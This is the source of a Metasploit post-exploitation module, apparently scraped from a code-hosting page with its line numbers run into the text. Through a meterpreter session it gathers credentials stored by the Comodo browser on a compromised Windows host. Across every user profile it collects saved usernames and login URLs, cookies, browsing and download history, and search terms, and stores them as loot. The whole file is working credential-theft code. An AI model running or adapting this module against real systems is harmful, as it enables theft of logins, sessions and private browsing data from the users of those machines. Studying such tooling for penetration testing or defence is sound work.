Path: blob/master/modules/post/windows/gather/credentials/comodo.rb
21550 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::UserProfiles8include Msf::Post::Windows::Packrat910ARTIFACTS =11{12application: 'comodo',13app_category: 'browsers',14gatherable_artifacts: [15{16filetypes: 'logins',17path: 'LocalAppData',18dir: 'Comodo',19artifact_file_name: 'Login Data',20description: "Comodo's saved Username and Passwords",21credential_type: 'sqlite',22sql_search: [23{24sql_description: "Database Commands which exports Chrome's Login data",25sql_table: 'logins',26sql_column: 'action_url, username_value'27}28]29},30{31filetypes: 'cookies',32path: 'LocalAppData',33dir: 'Comodo',34artifact_file_name: 'Cookies',35description: "Comodo's saved cookies",36credential_type: 'sqlite',37sql_search: [38{39sql_description: "Database Commands which exports Chrome's Cookie data",40sql_table: 'cookies',41sql_column: 'host_key, name, path'42}43]44},45{46filetypes: 'web_history',47path: 'LocalAppData',48dir: 'Comodo',49artifact_file_name: 'History',50description: "Comodo's History",51credential_type: 'sqlite',52sql_search: [53{54sql_description: "Database Commands which exports Chrome's Login data",55sql_table: 'urls',56sql_column: 'url'57},58{59sql_description: "Database Commands which exports Chrome's Login data",60sql_table: 'keyword_search_terms',61sql_column: 'lower_term'62},63{64sql_description: "Database Commands which exports Chrome's Login data",65sql_table: 'downloads',66sql_column: 'current_path, tab_referrer_url'67},68{69sql_description: "Database Commands which exports Chrome's Login data",70sql_table: 'segments',71sql_column: 'name'72},73{74sql_description: "Database Commands which exports Chrome's Login data",75sql_table: 'downloads_url_chains',76sql_column: 'url'77}78]79},80{81filetypes: 'web_history',82path: 'LocalAppData',83dir: 'Comodo',84artifact_file_name: 'Visited Links',85description: "Comodo's History",86credential_type: 'sqlite',87sql_search: [88{89sql_description: "Database Commands which exports Chrome's Login data",90sql_table: 'urls',91sql_column: 'url'92},93{94sql_description: "Database Commands which exports Chrome's Login data",95sql_table: 'keyword_search_terms',96sql_column: 'lower_term'97},98{99sql_description: "Database Commands which exports Chrome's Login data",100sql_table: 'downloads',101sql_column: 'current_path, tab_referrer_url'102},103{104sql_description: "Database Commands which exports Chrome's Login data",105sql_table: 'segments',106sql_column: 'name'107},108{109sql_description: "Database Commands which exports Chrome's Login data",110sql_table: 'downloads_url_chains',111sql_column: 'url'112}113]114}115]116}.freeze117118def initialize(info = {})119super(120update_info(121info,122'Name' => 'Comodo Credential Gatherer',123'Description' => %q{124This module searches for credentials stored in Comodo on a Windows host.125},126'License' => MSF_LICENSE,127'Author' => [128'Kazuyoshi Maruta',129'Daniel Hallsworth',130'Barwar Salim M',131'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org132],133'Platform' => ['win'],134'SessionTypes' => ['meterpreter'],135'Notes' => {136'Stability' => [CRASH_SAFE],137'Reliability' => [],138'SideEffects' => []139}140)141)142143register_options(144[145OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),146OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),147OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),148# enumerates the options based on the artifacts that are defined below149OptEnum.new('ARTIFACTS', [150false,151'Type of artifacts to collect',152'All',153ARTIFACTS[:gatherable_artifacts].map do |k|154k[:filetypes]155end.uniq.unshift('All')156])157]158)159end160161def run162print_status('Filtering based on these selections: ')163print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")164print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")165print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")166167# used to grab files for each user on the remote host168grab_user_profiles.each do |userprofile|169run_packrat(userprofile, ARTIFACTS)170end171172print_status('PackRat credential sweep completed')173end174end175176177